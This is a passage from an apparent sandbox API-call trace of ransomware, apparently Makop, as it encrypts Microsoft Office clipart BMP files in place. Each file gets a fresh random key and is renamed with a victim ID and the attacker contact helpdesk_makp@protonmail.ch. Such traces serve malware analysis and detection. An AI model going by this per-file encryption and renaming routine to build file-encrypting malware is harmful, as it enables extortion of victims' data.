lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.119] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.119] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.119] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a6b8, lpOverlapped=0x0) returned 1 [0147.123] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a6c0, dwBufLen=0x1a6c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a6c0) returned 1 [0147.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a6c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a6c0, lpOverlapped=0x0) returned 1 [0147.125] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.126] SetEndOfFile (hFile=0xf0) returned 1 [0147.134] GetProcessHeap () returned 0x48a0000 [0147.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.134] GetProcessHeap () returned 0x48a0000 [0147.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.135] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.140] CloseHandle (hObject=0xf0) returned 1 [0147.140] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0147.141] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP") returned 63 [0147.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.142] GetProcessHeap () returned 0x48a0000 [0147.142] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.142] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.153] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.153] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.153] GetProcessHeap () returned 0x48a0000 [0147.153] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.153] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.154] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.154] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.155] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.155] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.155] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a7d8, lpOverlapped=0x0) returned 1 [0147.158] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a7e0) returned 1 [0147.159] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a7e0, lpOverlapped=0x0) returned 1 [0147.160] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.160] SetEndOfFile (hFile=0xf0) returned 1 [0147.170] GetProcessHeap () returned 0x48a0000 [0147.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.170] GetProcessHeap () returned 0x48a0000 [0147.170] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.170] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.172] CloseHandle (hObject=0xf0) returned 1 [0147.172] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0147.172] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP") returned 63 [0147.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.173] GetProcessHeap () returned 0x48a0000 [0147.173] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.173] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.179] GetProcessHeap () returned 0x48a0000 [0147.179] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.180] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.180] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a7d8, lpOverlapped=0x0) returned 1 [0147.184] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a7e0) returned 1 [0147.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a7e0, lpOverlapped=0x0) returned 1 [0147.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.186] SetEndOfFile (hFile=0xf0) returned 1 [0147.195] GetProcessHeap () returned 0x48a0000 [0147.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.195] GetProcessHeap () returned 0x48a0000 [0147.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.195] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.197] CloseHandle (hObject=0xf0) returned 1 [0147.197] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0147.197] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 63 [0147.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.204] GetProcessHeap () returned 0x48a0000 [0147.204] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.204] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.209] GetProcessHeap () returned 0x48a0000 [0147.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.210] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.210] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.210] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.210] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30408, lpOverlapped=0x0) returned 1 [0147.260] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30410, dwBufLen=0x30410 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30410) returned 1 [0147.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30410, lpOverlapped=0x0) returned 1 [0147.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.264] SetEndOfFile (hFile=0xf0) returned 1 [0147.273] GetProcessHeap () returned 0x48a0000 [0147.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.273] GetProcessHeap () returned 0x48a0000 [0147.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.273] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.275] CloseHandle (hObject=0xf0) returned 1 [0147.275] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0147.275] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 63 [0147.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.277] GetProcessHeap () returned 0x48a0000 [0147.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.277] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.281] GetProcessHeap () returned 0x48a0000 [0147.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, 